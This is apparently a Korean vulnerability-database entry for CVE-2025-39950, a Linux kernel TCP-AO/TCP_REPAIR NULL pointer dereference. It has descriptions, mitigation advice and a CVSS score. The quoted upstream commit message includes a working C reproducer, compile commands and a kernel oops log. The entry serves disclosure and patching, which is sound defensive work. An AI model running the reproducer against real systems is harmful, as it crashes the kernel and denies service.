🔍 CVE-2025-39950

5.5
CVSS Score
MEDIUM
2025-10-04
2026-10-19 21:10
✅ 완료

🇰🇷 한글 설명

Linux 커널의 net/tcp 구성 요소에서 TCP-AO(Authentication Option)와 TCP_REPAIR 모드가 동시에 활성화된 소켓에 대해 connect() 시스템 호출을 수행할 때 NULL 포인터 역참조가 발생합니다. tcp_ao_finish_connect() 함수가 skb(sk_buff)의 유효성을 검사하지 않고 접근함으로써 커널 패닉을 유발할 수 있는 취약점입니다.

💡 쉬운 설명

특정 네트워크 설정(TCP-AO 및 복구 모드)을 사용 중인 상태에서 연결을 시도하면 컴퓨터의 핵심인 커널이 잘못된 메모리 주소를 참조하여 시스템이 멈추거나 오류가 발생할 수 있습니다.

🇺🇸 원문 (English)

In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

📍 영향받는 시스템

TCP-AO 및 TCP_REPAIR 옵션을 사용하는 Linux 커널 시스템

⚔️ 공격 벡터

로컬 사용자가 특수하게 구성된 소켓(TCP-AO 키 추가 및 TCP_REPAIR 활성화)을 생성하여 connect() 호출을 수행함으로써 발생

🛡️ 대응 방법

TCP-AO 관련 NULL 포인터 검사 로직이 포함된 최신 Linux 커널 버전으로 업데이트

🔧 검증 코드

출력된 커널 버전이 해당 취약점이 패치된 최신 보안 업데이트 버전인지 확인

Shell / Script
uname -r

📊 CVSS Vector String

CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

💻 영향받는 소프트웨어

Linux Kernel